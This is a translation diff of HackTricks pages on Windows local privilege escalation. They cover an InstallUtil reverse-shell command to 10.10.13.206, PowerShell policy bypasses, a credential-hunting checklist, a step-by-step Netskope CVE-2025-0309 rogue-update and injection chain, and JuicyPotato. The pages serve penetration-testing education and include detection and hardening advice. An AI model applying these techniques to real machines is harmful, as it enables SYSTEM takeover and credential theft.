@ -230,7 +230,7 @@ C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogTo
```bash
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=true /revshell=true /rhost=10.10.13.206 /rport=443 /U c:\temp\psby.exe
```
Ви можете використовувати [**ReflectivePick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick) або [**SharpPick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick) щоб **execute Powershell** code у будь-якому процесі та обійти constrained mode. Для детальнішої інформації див.: [https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-constrained-language-mode](https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-constrained-language-mode).
Ви можете використовувати [**ReflectivePick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick) або [**SharpPick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick) щоб **execute Powershell** code в будь-якому процесі та обійти constrained mode. Для детальнішої інформації перегляньте: [https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-constrained-language-mode](https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-constrained-language-mode).
## Політика виконання PS
@ -254,32 +254,33 @@ Powershell -command "Write-Host 'My voice is my passport, verify me.'"
9º Use EncodeCommand
$command = "Write-Host 'My voice is my passport, verify me.'" $bytes = [System.Text.Encoding]::Unicode.GetBytes($command) $encodedCommand = [Convert]::ToBase64String($bytes) powershell.exe -EncodedCommand $encodedCommand
```
Детальніше можна знайти [here](https://blog.netspi.com/15-ways-to-bypass-the-powershell-execution-policy/)
More can be found [here](https://blog.netspi.com/15-ways-to-bypass-the-powershell-execution-policy/)
## Інтерфейс Security Support Provider (SSPI)
Це API, який використовується для автентифікації користувачів.
Є API, який може використовуватися для автентифікації користувачів.
SSPI відповідає за підбір відповідного протоколу для двох машин, які хочуть обмінюватися даними. Переважним методом для цього є Kerberos. Далі SSPI узгоджує, який протокол автентифікації буде використано — ці протоколи автентифікації називаються Security Support Provider (SSP), знаходяться на кожній машині Windows у вигляді DLL, і обидві машини повинні підтримувати один і той самий, щоб мати змогу спілкуватися.
SSPI відповідатиме за вибір відповідного протоколу для двох машин, що хочуть обмінюватися даними. Переважним методом для цього є Kerberos. Далі SSPI узгоджуватиме, який протокол автентифікації буде використано; ці протоколи називаються Security Support Provider (SSP), розміщені в кожній Windows-машині у вигляді DLL, і обидві машини повинні підтримувати один і той самий, щоб мати змогу обмінюватися даними.
### Основні SSP
- **Kerberos**: The preferred one
- **Kerberos**: Переважний
- %windir%\Windows\System32\kerberos.dll
- **NTLMv1** and **NTLMv2**: Compatibility reasons
- **NTLMv1** and **NTLMv2**: З міркувань сумісності
- %windir%\Windows\System32\msv1_0.dll
- **Digest**: Web servers and LDAP, password in form of a MD5 hash
- **Digest**: Веб‑сервери та LDAP, пароль у вигляді MD5-хеша
- %windir%\Windows\System32\Wdigest.dll
- **Schannel**: SSL and TLS
- **Schannel**: SSL та TLS
- %windir%\Windows\System32\Schannel.dll
- **Negotiate**: It is used to negotiate the protocol to use (Kerberos or NTLM being Kerberos the default one)
- **Negotiate**: Використовується для узгодження протоколу (Kerberos або NTLM, за замовчуванням — Kerberos)
- %windir%\Windows\System32\lsasrv.dll
#### Під час узгодження може бути запропоновано кілька методів або лише один.
#### Узгодження може запропонувати кілька методів або лише один.
## UAC - Контроль облікових записів користувача
## UAC - User Account Control
[User Account Control (UAC)](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/how-user-account-control-works) — це функція, яка вмикає **запит на дозвіл для підвищених дій**.
[User Account Control (UAC)](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/how-user-account-control-works) — функція, яка відображає запит на підтвердження для дій з підвищеними правами.
{{#ref}}
uac-user-account-control.md

View File

@ -1,8 +1,8 @@
# Контрольний список - Local Windows Privilege Escalation
# Перевірочний список - Local Windows Privilege Escalation
{{#include ../banners/hacktricks-training.md}}
### **Best tool to look for Windows local privilege escalation vectors:** [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS)
### **Найкращий інструмент для пошуку векторів Windows local privilege escalation:** [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS)
### [System Info](windows-local-privilege-escalation/index.html#system-info)
@ -20,7 +20,7 @@
### [Logging/AV enumeration](windows-local-privilege-escalation/index.html#enumeration)
- [ ] Перевірити [**Audit** ](windows-local-privilege-escalation/index.html#audit-settings)та [**WEF** ](windows-local-privilege-escalation/index.html#wef)налаштування
- [ ] Перевірити налаштування [**Audit** ](windows-local-privilege-escalation/index.html#audit-settings)та [**WEF** ](windows-local-privilege-escalation/index.html#wef)
- [ ] Перевірити [**LAPS**](windows-local-privilege-escalation/index.html#laps)
- [ ] Перевірити, чи активний [**WDigest** ](windows-local-privilege-escalation/index.html#wdigest)
- [ ] [**LSA Protection**](windows-local-privilege-escalation/index.html#lsa-protection)?
@ -32,7 +32,7 @@
- [ ] [**User Privileges**](windows-local-privilege-escalation/index.html#users-and-groups)
- [ ] Перевірити [**current** user **privileges**](windows-local-privilege-escalation/index.html#users-and-groups)
- [ ] Чи є ви [**member of any privileged group**](windows-local-privilege-escalation/index.html#privileged-groups)?
- [ ] Перевірити, чи увімкнено будь-який із цих токенів: **SeImpersonatePrivilege, SeAssignPrimaryPrivilege, SeTcbPrivilege, SeBackupPrivilege, SeRestorePrivilege, SeCreateTokenPrivilege, SeLoadDriverPrivilege, SeTakeOwnershipPrivilege, SeDebugPrivilege** ?
- [ ] Перевірити, чи маєте будь-який із цих токенів: **SeImpersonatePrivilege, SeAssignPrimaryPrivilege, SeTcbPrivilege, SeBackupPrivilege, SeRestorePrivilege, SeCreateTokenPrivilege, SeLoadDriverPrivilege, SeTakeOwnershipPrivilege, SeDebugPrivilege** ?
- [ ] [**Users Sessions**](windows-local-privilege-escalation/index.html#logged-users-sessions)?
- [ ] Перевірити[ **users homes**](windows-local-privilege-escalation/index.html#home-folders) (доступ?)
- [ ] Перевірити [**Password Policy**](windows-local-privilege-escalation/index.html#password-policy)
@ -41,43 +41,43 @@
### [Network](windows-local-privilege-escalation/index.html#network)
- [ ] Перевірити **current** [**network** **information**](windows-local-privilege-escalation/index.html#network)
- [ ] Перевірити **hidden local services**, обмежені зовні
- [ ] Перевірити **hidden local services**, які обмежені зовні
### [Running Processes](windows-local-privilege-escalation/index.html#running-processes)
- [ ] Бінарні файли процесів [**file and folders permissions**](windows-local-privilege-escalation/index.html#file-and-folder-permissions)
- [ ] Права на файли та папки процесів — [**file and folders permissions**](windows-local-privilege-escalation/index.html#file-and-folder-permissions)
- [ ] [**Memory Password mining**](windows-local-privilege-escalation/index.html#memory-password-mining)
- [ ] [**Insecure GUI apps**](windows-local-privilege-escalation/index.html#insecure-gui-apps)
- [ ] Вкрасти облікові дані з **interesting processes** за допомогою `ProcDump.exe` ? (firefox, chrome, etc ...)
### [Services](windows-local-privilege-escalation/index.html#services)
- [ ] Чи можете ви **modify any service**?(windows-local-privilege-escalation/index.html#permissions)
- [ ] Чи можете ви **modify** the **binary** that is **executed** by any **service**?(windows-local-privilege-escalation/index.html#modify-service-binary-path)
- [ ] Чи можете ви **modify** the **registry** of any **service**?(windows-local-privilege-escalation/index.html#services-registry-modify-permissions)
- [ ] Чи можна скористатися будь-яким **unquoted service** binary **path**?(windows-local-privilege-escalation/index.html#unquoted-service-paths)
- [ ] Чи можете ви **modify any service**? (змінити будь-яку службу) (permissions)?
- [ ] Чи можете ви **modify** бінарний файл, який **executed** будь-якою **service**? (modify-service-binary-path)
- [ ] Чи можете ви **modify** реєстр будь-якої **service**? (services-registry-modify-permissions)
- [ ] Чи можна використати будь-який **unquoted service** binary **path**?
### [**Applications**](windows-local-privilege-escalation/index.html#applications)
- [ ] **Write** [**permissions on installed applications**](windows-local-privilege-escalation/index.html#write-permissions)
- [ ] **Write** права на встановлені застосунки — [**Write permissions on installed applications**](windows-local-privilege-escalation/index.html#write-permissions)
- [ ] [**Startup Applications**](windows-local-privilege-escalation/index.html#run-at-startup)
- [ ] **Vulnerable** [**Drivers**](windows-local-privilege-escalation/index.html#drivers)
### [DLL Hijacking](windows-local-privilege-escalation/index.html#path-dll-hijacking)
- [ ] Чи можете ви **write in any folder inside PATH**?
- [ ] Чи є відомий service binary, який **tries to load any non-existant DLL**?
- [ ] Чи є відома служба, бінарник якої **tries to load any non-existant DLL**?
- [ ] Чи можете ви **write** в будь-яку **binaries folder**?
### [Network](windows-local-privilege-escalation/index.html#network)
- [ ] Перелічити мережу (shares, interfaces, routes, neighbours, ...)
- [ ] Особливу увагу приділити мережевим сервісам, що слухають на localhost (127.0.0.1)
- [ ] Просканувати мережу (shares, interfaces, routes, neighbours, ...)
- [ ] Особливу увагу приділити мережевим сервісам, які слухають на localhost (127.0.0.1)
### [Windows Credentials](windows-local-privilege-escalation/index.html#windows-credentials)
- [ ] [**Winlogon** ](windows-local-privilege-escalation/index.html#winlogon-credentials) credentials
- [ ] Чи є [**Windows Vault**](windows-local-privilege-escalation/index.html#credentials-manager-windows-vault) credentials, які можна використати?
- [ ] Чи є облікові дані в [**Windows Vault**](windows-local-privilege-escalation/index.html#credentials-manager-windows-vault), які можна використати?
- [ ] Цікаві [**DPAPI credentials**](windows-local-privilege-escalation/index.html#dpapi)?
- [ ] Паролі збережених [**Wifi networks**](windows-local-privilege-escalation/index.html#wifi)?
- [ ] Цікава інформація в [**saved RDP Connections**](windows-local-privilege-escalation/index.html#saved-rdp-connections)?
@ -91,7 +91,7 @@
- [ ] **Putty:** [**Creds**](windows-local-privilege-escalation/index.html#putty-creds) **and** [**SSH host keys**](windows-local-privilege-escalation/index.html#putty-ssh-host-keys)
- [ ] [**SSH keys in registry**](windows-local-privilege-escalation/index.html#ssh-keys-in-registry)?
- [ ] Паролі в [**unattended files**](windows-local-privilege-escalation/index.html#unattended-files)?
- [ ] Будь-яка резервна копія [**SAM & SYSTEM**](windows-local-privilege-escalation/index.html#sam-and-system-backups)?
- [ ] Будь-який резервний файл [**SAM & SYSTEM**](windows-local-privilege-escalation/index.html#sam-and-system-backups)?
- [ ] [**Cloud credentials**](windows-local-privilege-escalation/index.html#cloud-credentials)?
- [ ] [**McAfee SiteList.xml**](windows-local-privilege-escalation/index.html#mcafee-sitelist.xml) файл?
- [ ] [**Cached GPP Password**](windows-local-privilege-escalation/index.html#cached-gpp-pasword)?
@ -106,10 +106,10 @@
### [Leaked Handlers](windows-local-privilege-escalation/index.html#leaked-handlers)
- [ ] Чи маєте доступ до будь-якого handler процесу, запущеного адміністратором?
- [ ] Чи маєте доступ до будь-якого handler процесу, що запущений від імені адміністратора?
### [Pipe Client Impersonation](windows-local-privilege-escalation/index.html#named-pipe-client-impersonation)
- [ ] Перевірте, чи можна його зловживати
- [ ] Перевірити, чи можна це зловживати
{{#include ../banners/hacktricks-training.md}}

View File

@ -1,28 +1,28 @@
# Зловживання Enterprise Auto-Updaters та Privileged IPC (e.g., Netskope stAgentSvc)
# Зловживання корпоративними автооновлювачами та привілейованим IPC (наприклад, Netskope stAgentSvc)
{{#include ../../banners/hacktricks-training.md}}
Ця сторінка узагальнює клас Windows local privilege escalation chains, які зустрічаються в enterprise endpoint agents та updaters, що відкривають lowfriction IPC surface і привілейований update flow. Репрезентативний приклад — Netskope Client for Windows < R129 (CVE-2025-0309), де lowprivileged user може примусити enrollment на attackercontrolled сервер, а потім доставити шкідливий MSI, який встановлює сервіс SYSTEM.
Ця сторінка узагальнює клас Windows local privilege escalation ланцюжків, що зустрічаються в enterprise endpoint agents та updaters, які надають простий у використанні IPC інтерфейс і привілейований потік оновлення. Репрезентативним прикладом є Netskope Client for Windows < R129 (CVE-2025-0309), де користувач з низькими привілеями може примусити реєстрацію на сервері, контрольованому нападником, і потім доставити шкідливий MSI, який встановлює служба SYSTEM.
Ключові ідеї, які можна використовувати проти схожих продуктів:
- Зловживати localhost IPC привілейованого сервісу, щоб примусити reenrollment або reconfiguration на attacker server.
- Реалізувати vendors update endpoints, доставити підроблений Trusted Root CA і вказати updater на шкідливий „signed” пакет.
- Обходитись зі слабыми перевірками signer (CN allowlists), optional digest flags та lax MSI properties.
- Якщо IPC «encrypted», виводити key/IV з загальнодоступних machine identifiers, що зберігаються в registry.
- Якщо сервіс обмежує викликачів за image path/process name, inject у allowlisted процес або spawn one suspended і bootstrap your DLL через minimal threadcontext patch.
Ключові ідеї, які можна повторно використати проти схожих продуктів:
- Зловживати localhost IPC привілейованої служби, щоб примусити повторну реєстрацію або переналаштування на сервер нападника.
- Реалізувати update endpoints постачальника, доставити підроблений Trusted Root CA і вказати апдейтеру зловмисний «підписаний» пакет.
- Уникати слабких перевірок підписувача (CN allowlists), опціональних digest flags та розслаблених властивостей MSI.
- Якщо IPC «шифрується», виводити ключ/IV із загальнодоступних ідентифікаторів машини, збережених у registry.
- Якщо служба обмежує викликачів за image path/process name, інжектити в allowlisted процес або створити процес у suspended стані і завантажити ваш DLL через мінімальну правку threadcontext.
---
## 1) Примусове enrollment на attacker server через localhost IPC
## 1) Примусова реєстрація на сервері нападника через localhost IPC
Багато агентів постачають usermode UI процес, який спілкується з сервісом SYSTEM по localhost TCP використовуючи JSON.
Багато агентів постачають usermode UI процес, який спілкується зі службою SYSTEM по localhost TCP з використанням JSON.
Спостерігалося в Netskope:
- UI: stAgentUI (низької цілісності) ↔ Service: stAgentSvc (SYSTEM)
Спостерігалось у Netskope:
- UI: stAgentUI (low integrity) ↔ Service: stAgentSvc (SYSTEM)
- IPC command ID 148: IDP_USER_PROVISIONING_WITH_TOKEN
Потік експлоїта:
1) Сформуйте JWT enrollment token, чиї claims контролюють backend host (наприклад, AddonUrl). Використайте alg=None щоб підпис не був потрібен.
2) Надішліть IPC повідомлення, що викликає provisioning command з вашим JWT та tenant name:
Схема експлуатації:
1) Сформуйте JWT enrollment token, у якому claims контролюють backend host (наприклад, AddonUrl). Використайте alg=None, щоб підпис не був потрібен.
2) Надішліть IPC повідомлення, що викликає provisioning команду з вашим JWT і tenant name:
```json
{
"148": {
@ -36,83 +36,83 @@
- /config/user/getbrandingbyemail
Примітки:
- Якщо верифікація виклику базується на path/namebased, ініціюйте запит з виконуваного файлу вендора, що знаходиться у списку дозволених (див. §4).
- Якщо перевірка виклику ґрунтується на шляху/імені, ініціюйте запит із виконуваного файлу постачальника, включеного до білого списку (див. §4).
---
## 2) Перехоплення каналу оновлень для виконання коду як SYSTEM
## 2) Підміна каналу оновлень для запуску коду як SYSTEM
Коли клієнт зв’язується з вашим сервером, реалізуйте очікувані endpoints і направте його на зловмисний MSI. Типова послідовність:
Коли клієнт починає спілкуватися з вашим сервером, реалізуйте очікувані кінцеві точки і спрямовуйте його на шкідливий MSI. Типова послідовність:
1) /v2/config/org/clientconfig → Повернути JSON конфіг з дуже коротким інтервалом оновлення, наприклад:
1) /v2/config/org/clientconfig → Return JSON config with a very short updater interval, e.g.:
```json
{
"clientUpdate": { "updateIntervalInMin": 1 },
"check_msi_digest": false
}
```
2) /config/ca/cert → Повертає PEM CA certificate. Сервіс встановлює його в Local Machine Trusted Root store.
3) /v2/checkupdate → Повертає metadata, що вказує на зловмисний MSI і підроблену версію.
2) /config/ca/cert → Повертає PEM CA сертифікат. Сервіс встановлює його в сховище Trusted Root локальної машини.
3) /v2/checkupdate → Надає метадані, що вказують на шкідливий MSI і підроблену версію.
Bypassing common checks seen in the wild:
- Signer CN allowlist: сервіс може перевіряти лише, чи Subject CN дорівнює “netSkope Inc” або “Netskope, Inc.”. Ваш Rogue CA може випустити leaf із цим CN і підписати MSI.
- CERT_DIGEST property: додайте benign MSI property з ім’ям CERT_DIGEST. Під час інсталяції не виконується enforcement.
- Optional digest enforcement: config flag (e.g., check_msi_digest=false) відключає додаткову криптографічну валідацію.
- Signer CN allowlist: сервіс може перевіряти лише чи Subject CN дорівнює “netSkope Inc” або “Netskope, Inc.”. Ваш підроблений CA може видати leaf з цим CN і підписати MSI.
- CERT_DIGEST property: додайте нешкідливу MSI властивість з ім'ям CERT_DIGEST. Під час встановлення не застосовується.
- Optional digest enforcement: конфігураційний прапорець (наприклад, check_msi_digest=false) вимикає додаткову криптографічну перевірку.
Результат: SYSTEM service встановлює ваш MSI з
Result: служба SYSTEM встановлює ваш MSI з
C:\ProgramData\Netskope\stAgent\data\*.msi
та виконує arbitrary code як NT AUTHORITY\SYSTEM.
виконуючи довільний код як NT AUTHORITY\SYSTEM.
---
## 3) Forging encrypted IPC requests (when present)
From R127, Netskope загорнув IPC JSON у поле encryptData, яке виглядає як Base64. Реверсинг показав AES зі key/IV, похідними від значень у реєстрі, що читаються будь‑яким користувачем:
From R127, Netskope вкладала IPC JSON у поле encryptData, яке виглядає як Base64. Реверс-інжиніринг показав AES з key/IV, похідними від значень реєстру, доступних для читання будь-яким користувачем:
- Key = HKLM\SOFTWARE\NetSkope\Provisioning\nsdeviceidnew
- IV = HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProductID
Атакуючі можуть відтворити шифрування і відправляти валідні зашифровані команди від імені стандартного користувача. Загальна порада: якщо агент раптом “encrypts” свій IPC, шукайте device IDs, product GUIDs, install IDs під HKLM як матеріал для ключів.
Атакувальники можуть відтворити шифрування і відправляти дійсні зашифровані команди від звичайного користувача. Загальна порада: якщо агент раптово «шифрує» свій IPC, шукайте device IDs, product GUIDs, install IDs під HKLM як матеріал для ключів.
---
## 4) Bypassing IPC caller allowlists (path/name checks)
Деякі сервіси намагаються аутентифікувати пір шляхом резолвінгу PID TCPзєднання і порівняння image path/name з allowlisted vendor binaries у Program Files (наприклад, stagentui.exe, bwansvc.exe, epdlp.exe).
Деякі служби намагаються автентифікувати пір, визначаючи PID TCP-з'єднання й порівнюючи шлях/ім'я образу з allowlist`ом бінарників вендора, що розташовані в Program Files (наприклад, stagentui.exe, bwansvc.exe, epdlp.exe).
Два практичні обхідні шляхи:
- DLL injection в allowlisted процес (наприклад, nsdiag.exe) та проксування IPC зсередини нього.
- Spawn allowlisted binary у suspended стані і bootstrap ваш proxy DLL без CreateRemoteThread (див. §5), щоб задовольнити driverenforced tamper правила.
Two practical bypasses:
- DLL injection у allowlisted процес (наприклад, nsdiag.exe) та проксування IPC зсередини нього.
- Запустіть allowlisted бінарник у suspended стані та завантажте ваш proxy DLL без використання CreateRemoteThread (див. §5), щоб задовольнити правила драйвера щодо запобігання підмінам.
---
## 5) Tamperprotection friendly injection: suspended process + NtContinue patch
Продукти часто постачають minifilter/OB callbacks driver (наприклад, Stadrv), щоб прибирати небезпечні права з handles до захищених процесів:
Продукти часто постачають драйвер minifilter/OB callbacks (наприклад, Stadrv), щоб видаляти небезпечні права з дескрипторів до захищених процесів:
- Process: видаляє PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_READ, PROCESS_DUP_HANDLE, PROCESS_SUSPEND_RESUME
- Thread: обмежує до THREAD_GET_CONTEXT, THREAD_QUERY_LIMITED_INFORMATION, THREAD_RESUME, SYNCHRONIZE
Надійний usermode loader, що поважає ці обмеження:
1) CreateProcess vendor binary з CREATE_SUSPENDED.
2) Отримайте handles, які вам ще дозволені: PROCESS_VM_WRITE | PROCESS_VM_OPERATION на процесі, і thread handle з THREAD_GET_CONTEXT/THREAD_SET_CONTEXT (або просто THREAD_RESUME, якщо ви патчите код у відомому RIP).
3) Перезапишіть ntdll!NtContinue (або інший ранній, гарантовано‑маплений thunk) маленьким stub, що викликає LoadLibraryW з вашим шляхом до DLL, потім повертає виконання назад.
4) ResumeThread, щоб запустити ваш stub в процесі і завантажити вашу DLL.
Надійний юзер‑мод лоадер, що враховує ці обмеження:
1) CreateProcess вендорського бінарника з CREATE_SUSPENDED.
2) Отримайте дескриптори, які вам ще дозволено мати: PROCESS_VM_WRITE | PROCESS_VM_OPERATION для процесу, і дескриптор потоку з THREAD_GET_CONTEXT/THREAD_SET_CONTEXT (або просто THREAD_RESUME, якщо ви патчите код у відомому RIP).
3) Перезапишіть ntdll!NtContinue (або інший ранній, гарантовано підключений thunk) невеликим стубом, який викликає LoadLibraryW для шляху до вашого DLL, а потім повертається.
4) ResumeThread, щоб ініціювати виконання вашого стуба всередині процесу, завантаживши ваш DLL.
Оскільки ви ніколи не використовували PROCESS_CREATE_THREAD або PROCESS_SUSPEND_RESUME на вже‑захищеному процесі (ви його створили), політика драйвера задовольняється.
Оскільки ви ніколи не використовували PROCESS_CREATE_THREAD або PROCESS_SUSPEND_RESUME для вже захищеного процесу (ви його створили), політика драйвера задовольняється.
---
## 6) Practical tooling
- NachoVPN (Netskope plugin) автоматизує rogue CA, malicious MSI signing і подає необхідні endpoints: /v2/config/org/clientconfig, /config/ca/cert, /v2/checkupdate.
- UpSkope — кастомний IPC client, що формує arbitrary (опційно AESencrypted) IPC messages і включає suspendedprocess injection, щоб походити від allowlisted binary.
- NachoVPN (Netskope plugin) автоматизує rogue CA, підписання шкідливого MSI, і слугує потрібні endpoints: /v2/config/org/clientconfig, /config/ca/cert, /v2/checkupdate.
- UpSkope — кастомний IPC клієнт, який створює довільні (опціонально AESзашифровані) IPC-повідомлення і включає інжекцію в suspendedпроцес, щоб походження було від allowlisted бінарника.
---
## 7) Detection opportunities (blue team)
- Monitor additions до Local Machine Trusted Root. Sysmon + registrymod eventing (див. SpecterOps guidance) працюють добре.
- Flag MSI executions, ініційовані service агента з шляхів на кшталт C:\ProgramData\<vendor>\<agent>\data\*.msi.
- Переглядайте agent logs на предмет unexpected enrollment hosts/tenants, наприклад: C:\ProgramData\netskope\stagent\logs\nsdebuglog.log шукайте addonUrl / tenant anomalies і provisioning msg 148.
- Alert на localhost IPC clients, які не є expected signed binaries або походять з дивних дерев дочірніх процесів.
- Моніторьте додавання до Local Machine Trusted Root. Sysmon + registrymod eventing (див. керівництво SpecterOps) працює добре.
- Позначайте виконання MSI, ініційовані службою агента з таких шляхів, як C:\ProgramData\<vendor>\<agent>\data\*.msi.
- Перегляньте логи агента на предмет несподіваних enrollment hosts/tenants, напр.: C:\ProgramData\netskope\stagent\logs\nsdebuglog.log звертайте увагу на addonUrl / tenant аномалії та provisioning msg 148.
- Сповіщайте про localhost IPC клієнтів, які не є очікуваними підписаними бінарниками, або походять з незвичних дерев дочірніх процесів.
---
## Hardening tips for vendors
- Bind enrollment/update hosts до strict allowlist; reject untrusted domains у clientcode.
- Authenticate IPC peers через OS primitives (ALPC security, namedpipe SIDs) замість перевірок image path/name.
- Тримайте secret material поза worldreadable HKLM; якщо IPC має бути encrypted, виводьте keys з protected secrets або домовляйтеся через authenticated channels.
- Розглядайте updater як supplychain surface: вимагайте повний chain до trusted CA, яку ви контролюєте, перевіряйте package signatures проти pinned keys і fail closed, якщо валідація відключена в конфігурації.
- Прив’язуйте enrollment/update хости до суворого allowlist'у; відкидайте непро<D180><D0BE><EFBFBD>і домени в clientcode.
- Аутентифікуйте IPC-пірів за допомогою примітивів ОС (ALPC security, namedpipe SIDs) замість перевірок шляху/імені образу.
- Не зберігайте секретні матеріали у загальнодоступному для читання HKLM; якщо IPC має бути зашифрованим, виводьте ключі з захищених секретів або погоджуйте їх по автентифікованих каналах.
- Розглядайте updater як вектор ланцюга постачання: вимагайте повний ланцюжок до довіреного CA, яким ви керуєте, верифікуйте підписи пакетів проти pinned keys, і відмовляйтеся від роботи (fail closed), якщо валідація вимкнена в конфігурації.
## References
- [Advisory Netskope Client for Windows Local Privilege Escalation via Rogue Server (CVE-2025-0309)](https://blog.amberwolf.com/blog/2025/august/advisory---netskope-client-for-windows---local-privilege-escalation-via-rogue-server/)

View File

@ -2,58 +2,58 @@
{{#include ../../banners/hacktricks-training.md}}
> [!WARNING] > JuicyPotato застарілий. Зазвичай він працює на Windows версіях до Windows 10 1803 / Windows Server 2016. Зміни від Microsoft, введені починаючи з Windows 10 1809 / Server 2019, порушили оригінальну техніку. Для цих збірок і новіших розгляньте сучасні альтернативи, такі як PrintSpoofer, RoguePotato, SharpEfsPotato/EfsPotato, GodPotato та інші. Див. сторінку нижче для актуальних варіантів та використання.
> [!WARNING] > JuicyPotato is legacy. It generally works on Windows versions up to Windows 10 1803 / Windows Server 2016. Microsoft changes shipped starting in Windows 10 1809 / Server 2019 broke the original technique. For those builds and newer, consider modern alternatives such as PrintSpoofer, RoguePotato, SharpEfsPotato/EfsPotato, GodPotato and others. See the page below for up-to-date options and usage.
{{#ref}}
roguepotato-and-printspoofer.md
{{#endref}}
## Juicy Potato (зловживання золотими привілеями) <a href="#juicy-potato-abusing-the-golden-privileges" id="juicy-potato-abusing-the-golden-privileges"></a>
## Juicy Potato (abusing the golden privileges) <a href="#juicy-potato-abusing-the-golden-privileges" id="juicy-potato-abusing-the-golden-privileges"></a>
_Підсолоджена версія_ [_RottenPotatoNG_](https://github.com/breenmachine/RottenPotatoNG)_, з невеликою дозою соку, тобто **ще один Local Privilege Escalation tool, з Windows Service Accounts до NT AUTHORITY\SYSTEM**_
_A sugared version of_ [_RottenPotatoNG_](https://github.com/breenmachine/RottenPotatoNG)_, with a bit of juice, i.e. **another Local Privilege Escalation tool, from a Windows Service Accounts to NT AUTHORITY\SYSTEM**_
#### You can download juicypotato from [https://ci.appveyor.com/project/ohpe/juicy-potato/build/artifacts](https://ci.appveyor.com/project/ohpe/juicy-potato/build/artifacts)
#### Ви можете завантажити juicypotato з [https://ci.appveyor.com/project/ohpe/juicy-potato/build/artifacts](https://ci.appveyor.com/project/ohpe/juicy-potato/build/artifacts)
### Compatibility quick notes
- Працює надійно до Windows 10 1803 і Windows Server 2016, коли поточний контекст має SeImpersonatePrivilege або SeAssignPrimaryTokenPrivilege.
- Порушено через посилення захисту Microsoft у Windows 10 1809 / Windows Server 2019 і новіших. Для цих збірок віддавайте перевагу альтернативам, наведеним вище.
- Працює стабільно до Windows 10 1803 та Windows Server 2016, коли поточний контекст має SeImpersonatePrivilege або SeAssignPrimaryTokenPrivilege.
- Пошкоджено заходами посилення безпеки Microsoft у Windows 10 1809 / Windows Server 2019 і новіших версіях. Для цих збірок віддавайте перевагу альтернативам, наведеним вище.
### Summary <a href="#summary" id="summary"></a>
[**From juicy-potato Readme**](https://github.com/ohpe/juicy-potato/blob/master/README.md)**:**
[RottenPotatoNG](https://github.com/breenmachine/RottenPotatoNG) і його [variants](https://github.com/decoder-it/lonelypotato) використовують ланцюжок підвищення привілеїв, заснований на сервісі [`BITS`](<https://msdn.microsoft.com/en-us/library/windows/desktop/bb968799(v=vs.85).aspx>) [service](https://github.com/breenmachine/RottenPotatoNG/blob/4eefb0dd89decb9763f2bf52c7a067440a9ec1f0/RottenPotatoEXE/MSFRottenPotato/MSFRottenPotato.cpp#L126), який має MiTM прослуховувач на `127.0.0.1:6666`, і коли у вас є права `SeImpersonate` або `SeAssignPrimaryToken`. Під час перегляду збірки Windows ми виявили налаштування, де `BITS` було навмисно відключено і порт `6666` був зайнятий.
[RottenPotatoNG](https://github.com/breenmachine/RottenPotatoNG) and its [variants](https://github.com/decoder-it/lonelypotato) leverages the privilege escalation chain based on [`BITS`](<https://msdn.microsoft.com/en-us/library/windows/desktop/bb968799(v=vs.85).aspx>) [service](https://github.com/breenmachine/RottenPotatoNG/blob/4eefb0dd89decb9763f2bf52c7a067440a9ec1f0/RottenPotatoEXE/MSFRottenPotato/MSFRottenPotato.cpp#L126) having the MiTM listener on `127.0.0.1:6666` and when you have `SeImpersonate` or `SeAssignPrimaryToken` privileges. During a Windows build review we found a setup where `BITS` was intentionally disabled and port `6666` was taken.
Ми вирішили озброїти [RottenPotatoNG](https://github.com/breenmachine/RottenPotatoNG): **Зустрічайте Juicy Potato**.
Ми вирішили озброїти [RottenPotatoNG]: **Зустрічайте Juicy Potato**.
> Для теорії див. [Rotten Potato - Privilege Escalation from Service Accounts to SYSTEM](https://foxglovesecurity.com/2016/09/26/rotten-potato-privilege-escalation-from-service-accounts-to-system/) і слідуйте ланцюжку посилань та референцій.
> Для теорії див. [Rotten Potato - Privilege Escalation from Service Accounts to SYSTEM](https://foxglovesecurity.com/2016/09/26/rotten-potato-privilege-escalation-from-service-accounts-to-system/) та перегляньте пов'язані посилання і джерела.
Ми виявили, що, окрім `BITS`, існує кілька COM-серверів, якими можна зловживати. Вони мають лише:
Ми виявили, що, окрім `BITS`, існує кілька COM-серверів, які можна використати. Вони лише повинні:
1. бути інстанційовуваними поточним користувачем, зазвичай «service user», який має права імперсонації
2. реалізовувати інтерфейс `IMarshal`
3. працювати від імені підвищеного користувача (SYSTEM, Administrator, …)
1. бути ініціалізованими поточним користувачем, зазвичай «service user», який має привілеї імперсонації
2. реалізовувати інтерфейс IMarshal
3. запускатися від імені підвищеного користувача (SYSTEM, Administrator, …)
Після деяких тестів ми зібрали й перевірили великий список [interesting CLSIDs](http://ohpe.it/juicy-potato/CLSID/) на кількох версіях Windows.
Після деяких тестів ми отримали і перевірили великий список [interesting CLSIDs](http://ohpe.it/juicy-potato/CLSID/) на кількох версіях Windows.
### Juicy details <a href="#juicy-details" id="juicy-details"></a>
JuicyPotato дозволяє вам:
- **Target CLSID** _оберіть будь-який CLSID, який хочете._ [_Here_](http://ohpe.it/juicy-potato/CLSID/) _ви знайдете список, організований за ОС._
- **COM Listening port**изначте COM listening port, який вам підходить (замість захардкодженого marshalled 6666)_
- **COM Listening IP address** _привяжіть сервер до будь-якої IP-адреси_
- **Process creation mode**алежно від привілеїв імперсонованого користувача ви можете обирати з:_
- `CreateProcessWithToken` (потребує `SeImpersonate`)
- `CreateProcessAsUser` (потребує `SeAssignPrimaryToken`)
